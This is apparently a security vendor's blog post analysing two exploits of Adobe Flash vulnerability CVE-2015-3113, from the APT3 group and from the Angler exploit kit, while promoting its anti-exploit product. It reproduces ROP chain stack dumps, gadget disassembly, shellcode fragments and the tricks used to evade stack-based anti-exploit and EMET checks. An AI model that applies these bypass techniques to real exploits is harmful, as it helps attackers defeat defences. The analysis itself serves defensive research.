Malware-authors create millions of new unique malware samples every year to bypass web filters and antivirus software. But did you know that every exploit attack (to deliver malware) must use the exact same techniques to exploit software vulnerabilities? And that there are only a dozen offensive techniques to make this happen? Also, did you know that depending on the vulnerability, attackers are bound to chain 2 to 5 of these techniques to even get to the stage to deliver the malware?
As many of you readers know, our recently released HitmanPro.Alert 3 is purpose built to disrupt attackers during every stage of their attack – from exploitation to exfiltration. Instead of depending on prior knowledge of attacks (aka signatures), HitmanPro.Alert concentrates on the techniques required to exploit and compromise a computer from remote. If you are able to block attacks at the exploit stage, unknown malware doesn’t even reach the machine in the first place.
Some of the offensive techniques that help and make exploitation possible are called Heap Spray, Stack Pivot, Return-Oriented Programming (ROP) and Vtable Hijacking. Many of these techniques are necessary and chained to evade defensive technologies like DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization) that protect modern operating systems. The ability to detect and block the offensive exploit techniques in real-time puts HitmanPro.Alert in an excellent position against zero-day attacks from both nation-state attackers as well as skilled cybercriminals.
But like with malware and depending on resources like skill, time and money, there are attackers that take the easy road and there are those that want or need to go the extra mile. The recent exploit attacks on CVE-2015-3113, a previously unknown vulnerability in Adobe Flash Player, is an excellent example.
Operation Clandestine Wolf
Discovered by FireEye and coined Operation Clandestine Wolf, this attack was crafted by a nation-state attacker they call APT3, apparently a China-based threat group. And with most discovered zero-day attacks, it didn’t take long before cybercriminals heard of it and included an attack for this vulnerability in their exploit kits, to increase the success rates of their attacks (it took them only four days as revealed by security researcher Kafeine from Malware Don’t Need Coffee).
But there are significant differences between the APT3 exploit attack and the code in exploit kits that abuse CVE-2015-3113. APT3’s code is not only meticulously crafted to bypass standard defense techniques, it is also designed to evade Anti-Exploit solutions. So even though Anti-Exploit vendors blogged about the vulnerability and mentioning that their “users were already protected against this threat”, it is in fact not the case for the original APT3 variant! And this is actually true for most exploits. When you have sufficient skills and resources, even old existing exploits can be re-weaponized to evade anti-exploit solutions. This means that even though when it sounds or looks like security solutions offer identical mitigations or layers, e.g. our Dynamic Heap Spray and Hardware-assisted Control-Flow Integrity mitigations as well as HitmanPro.Alert’s many Risk Reduction features make a significant difference against well-funded attackers.
But let’s discuss and compare the versions crafted by the APT3 nation-state hackers and the attack inside the Angler exploit kit.
As mentioned by FireEye, the actual exploit was RC4 encrypted inside the hp.swf file, so we had to decrypt it to reveal the perpetrating code. From the decrypted code we can see that it includes a progress indication using GIF files, that help the exploit author debug his attack as it reveals at what stage the attack fails. When the attack has succeeded, the exploit retrieves a file named logoshow.gif. Comes in handy for us too.
The APT3 attack employs a heap spray to facilitate arbitrary code execution. Although many Anti-Exploit solutions offer Anti-Heapspraying, few people know how most heapspray mitigations work. They simply pre-allocate memory areas often used by attackers so they cannot use these ranges to setup their heap spray. Naturally, APT3 stayed clear of these memory areas which explains why most Anti-Exploit solutions do not stop the attack with their heap spray mitigation.
Unlike these solutions, the Dynamic Heap Spray feature of HitmanPro.Alert 3 is an active mitigation. It is not so easily bypassed since our technology actually analyzes and compares the contents of the memory blocks allocated and sprayed by the exploit attack. HitmanPro.Alert 3 stops the exploit even before it gains control of code execution:
Arbitrary Code Execution
But it’s getting interesting when you look at how the nation-state attacker controls code execution without triggering Stack Pivot and typical ROP mitigations. In most recent Flash based exploits, the exploit hijacks the vtable of a built-in object of Adobe Flash Player, e.g. the Sound object, so that a ROP chain can be started for example via an invocation of Sound.toString().
This APT3 exploit uses a different technique to trigger it’s ROP chain. A custom class is defined in the ActionScript which has a method that takes a large number of parameters.
this.customClassInstance.theMethod(_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc24_, _loc33_, _loc19_, _loc34_, 65536, 4096, 64, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc19_ + 6,_loc19_ + 6, _loc30_, _loc19_ + 6, _loc25_, _loc25_);
The method in the custom class enables the attacker to provide ROP gadgets as parameters to the function, which results in the ROP chain ending up on the current stack! This way, there is no need for the attacker to pivot the stack to a heap location that is outside the stack range of the current thread, which would be detected by most Anti-Exploit tooling.
By overwriting the function pointer so that it points to a gadget that moves the stack pointer to the beginning of the ROP chain, located on the stack, the attacker can trigger the start of the ROP chain.
6d4b33dd 83c448 add esp,48h ; move stackpointer to start of ROP-chain 6d4b33e0 c3 ret
After the ‘add esp,48h # RET’ gadget is executed, the stack (which is the ROP chain) looks like this:
02fae6ac 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 02fae6ec 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 02fae72c 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68a 1f140100 02fae76c 6d4b6da1 1f140000 00010000 00001000 00000040 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6d4b6da7 6d4b6da7 02fae7ac 6cebaff0 6d4b6da7 6cec1b5f 6cec1b5f
There are a lot (46) of ‘dummy’ gadgets (6cebb68b) on the stack which only perform a RETurn.
6cebb68b c3 ret
This makes sure that stack-analysis will show a call-stack that contains ‘valid’ return addresses up to a very deep call-depth.
The first non-dummy gadget (6cebb68a) pops the address 1f140100 into EAX.
6cebb68a 58 pop eax 6cebb68b c3 ret
The following gadget performs a memory allocation, which makes a specific memory range, starting at 1f140000 on the heap executable. This range is under control of the attacker and already contains the shellcode. However, due to DEP, it is not executable (yet).
0:005> !vprot 1f140000 BaseAddress: 1f140000 AllocationBase: 1f030000 AllocationProtect: 00000001 PAGE_NOACCESS RegionSize: 00150000 State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00020000 MEM_PRIVATE
6d4b6da1 call Kernel32!VirtualAlloc(0x1f140000, 0x10000, 0x1000, 0x40) 6d4b6da7 ret
After the call to VirtualAlloc the memory is executable.
0:005> !vprot 1f140000 BaseAddress: 1f140000 AllocationBase: 1f030000 AllocationProtect: 00000001 PAGE_NOACCESS RegionSize: 00010000 State: 00001000 MEM_COMMIT Protect: 00000040 PAGE_EXECUTE_READWRITE Type: 00020000 MEM_PRIVATE
This gadget, which is legitimate code located in the Flash DLL, performs a seemingly ‘valid’ call to VirtualAlloc in the way as described by Jared DeMott of Bromium, in the technical whitepaper ‘Bypassing EMET 4.1’. An Anti-Exploit tool based on stack analysis will conclude that the call to VirtualAlloc was legitimate and will not detect a ROP attack in progress at this stage.
When the call to VirtualAlloc returns, the stack looks like this:
02fae780 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6cebb68b 6d4b6da7 6d4b6da7 6cebaff0 6d4b6da7 6cec1b5f 6cec1b5f 00001000
It contains 9 times the dummy gadget 6cebb68b, which only performs a ‘RET’. After that it contains 2 times another dummy gadget (6d4b6da7), however this gadget has the nice property that it is call-preceded.
6d4b6da1 call Kernel32!VirtualAlloc(0x1f140000, 0x10000, 0x1000, 0x40) 6d4b6da7 ret
This feature makes sure that anti-exploit tooling that perform stack-based analysis will see a ‘legitimate’ return address that was seemingly placed onto the stack due to a valid call instruction.
The following gadget (6cebaff0) pops the address of the call-preceded gadget (6d4b6da7) into ECX.
6cebaff0 59 pop ecx 6cebaff1 c3 ret
And finally, the gadget at address 6d4b6da7 jumps to the shellcode with an indirect JMP instruction.
6cec1b5f ff20 jmp dword ptr [eax] ; EAX = 1f140000
0:005> dd eax 1f140000 1f140210 00000008 057c3000 057c0140 1f140010 1f13f000 00000000 1f711000 00000000
The shellcode starts at address 1f140210.
1f140210 nop 1f140211 nop 1f140212 nop 1f140213 nop 1f140214 nop 1f140215 nop 1f140216 nop 1f140217 mov eax,1F140008h 1f14021c nop 1f14021d nop 1f14021e nop 1f14021f mov ebx, offset IEShims!xxx_GetProcAddress (70ed9f14) 1f140224 mov dword ptr [eax],ebx ; Store address at 1f140008h 1f140226 nop 1f140227 nop 1f140228 push 0 1f14022a push 74657874h ; 1f14022f push 6E6F4364h ; 'SetThreadContext' 1f140234 push 61657268h ; 1f140239 push 54746553h ; 1f14023e push esp 1f14023f push (KERNEL32+0x0) (75e40000) ; BaseAddress kernel32.dll 1f140244 call ebx ; EBX holds address of GetProcAddress
The ActionScript has placed the base address of kernel32.dll and the address of GetProcAddress into the shellcode, so that it can call this function to obtain other system functions of kernel32 without triggering anti-exploit software. One can also see that the shellcode immediately resolves the address of the function ‘SetThreadContext’. This is a very interesting function that can modify the debug register, which can disable functions that depend on them, like Microsoft EMET’s EAF mitigation.
Summarizing the key features of the APT3 version of CVE-2015-3113:
- The ROP chain never returns directly into a critical function
- A Stack Pivot is NOT required to start the ROP chain
- Uses dummy call-preceded RETurn address to trick stack-based heuristics
- Shellcode uses ‘GetProcAddress’ to resolve system functions
Anti-Exploit solutions that analyses the stack (which is under the control of the attacker) are fooled by the tricks deployed by the APT3 exploit. However the hardware-assisted Control-Flow Integrity feature of HitmanPro.Alert 3 reveals the ROP attack and is immune to the stack manipulations performed by this exploit. The following figure shows how HitmanPro.Alert 3 detects and blocks the ROP attack using Intel® hardware-assistance.
Angler Exploit Kit
The version used by the Angler exploit kit is different. Of course it uses the same vulnerability in Adobe Flash Player (CVE-2015-3113) to corrupt a vector on the heap to bypass ASLR, but it uses a different set of exploit techniques compared to the APT3 version.
The exploit deployed by the Angler exploit kit uses so-called Vtable Hijacking to start its ROP chain. A fake object with a crafted vtable is created on the heap:
0857c000 0857c040 6cbf0736 cccccccc cccccccc 0857c010 cccccccc cccccccc cccccccc cccccccc 0857c020 cccccccc cccccccc cccccccc cccccccc 0857c030 cccccccc cccccccc cccccccc cccccccc 0857c040 6ca9f992 cccccccc 6cab4745 6cac4788 0857c050 6cc334a6 6d096dd9 08578000 00008000 0857c060 00001000 00000040 0857c06c 0005e860 0857c070 89610000 90c35dfc fce58955 00e8ec81
This fake object contains a pointer to its vtable at offset 0, so the vtable starts at 0857c040.
And from within the Flash ActionScript a method of this fake object is called. This executes the following code:
6cbf0736 8b01 mov eax,dword ptr [ecx] 6cbf0738 51 push ecx 6cbf0739 ff5008 call dword ptr [eax+8]
At the time of the call, ECX contains the address of the object (0857c000) and EAX contains the start address of the vtable. The call [eax+8] is the actual call of the method in the vtable, which in this case is a call to [0857c040+8] -> 6cab4745
If we take a look at the instructions that are located at this address, we can see that these will perform a stack pivot.
6cab4745 94 xchg eax,esp 6cab4746 c3 ret
This is detected and blocked by HitmanPro.Alert:
But after the stack pivot, the actual ROP chain, beginning at location 0857c040, will start. The first gadget, located at 6ca9f992, will advance the stack pointer to the location after the stack pivot gadget address.
6ca9f992 83c408 add esp,8 6ca9f995 c3 ret
This adds 8 to skip past the stack pivot gadget which means that the stack pointer now points to 0857c04c, so the next gadget that will be executed is located at 6cac4788.
6cac4788 95 xchg eax,ebp 6cac4789 c3 ret
EBP now points to a location that is on the current stack and lies before the current position in the ROP chain.
The next gadget in line starts at address 6cc334a6 which swaps the contents of EDI and EAX.
6cc334a6 97 xchg edi,eax 6cc334a7 c3 ret
Now the following gadget that will execute is the one that will make the contained shellcode executable (DEP bypass). It starts at address 6d096dd9.
6d096dd9 // call Kernel32!VirtualAlloc(0x8578000, 0x8000, 0x1000, 0x40)
This gadget, which is legitimate code located in the Flash DLL, performs a seemingly valid call to VirtualAlloc in the way as described by Jared DeMott of Bromium, in the technical whitepaper Bypassing EMET 4.1. When the allocation returns, it falls directly into the shellcode at address 0857c06c.
0857c06c 60 pushad 0857c06d e805000000 call 0857c077 0857c072 61 popad 0857c073 89fc mov esp,edi 0857c075 5d pop ebp 0857c076 c3 ret
The shellcode is located on the heap directly after the ROP chain, starting at location 857c06c.
APT3’s attack on CVE-2015-3113 doesn’t perform a stack pivot as the gadgets are placed on the current stack. In addition, it never falls directly onto critical functions or shellcode and uses return addresses that seem legitimate to foil Anti-Exploit heuristics. Compared, the techniques that are used in the Angler exploit kit are rather straightforward and will be detected and blocked by most (commercial) Anti-Exploit tools.
While evaluating both attacks I can’t help but thinking that APT3’s zero-day attack on CVE-2015-3113 is proofing the same point that we tried to convey and demonstrated with our example attack on an artificial zero-day vulnerability in Firefox 29.0, for MRG Effitas’ Real World Exploit Prevention Test (March 2015). Some people said it was unfair and unrealistic that MRG Effitas included our special crafted version in their test, but it turns out we didn’t had to wait long before a skilled attacker proofed our point as well: with enough time, effort and money, a knowledgable attacker can bypass Anti-Exploit solutions. But with unique features like our Hardware-assisted Control-Flow Integrity, HitmanPro.Alert raises the bar to new heights by further increasing the attacker’s costs, in effect avoiding future system compromise and reducing business disruption.
Users running HitmanPro.Alert 3 are and were already protected against both the nation-state version as well as the exploit kit version of the attack on CVE-2015-3113.
You can read more about our HitmanPro.Alert software on this page: http://www.hitmanpro.com/alert
To increase the security posture of your computers against exploits, digital espionage and crypto-ransomware, download HitmanPro.Alert version 3 from here: http://dl.surfright.nl/hmpalert3.exe (4 MB)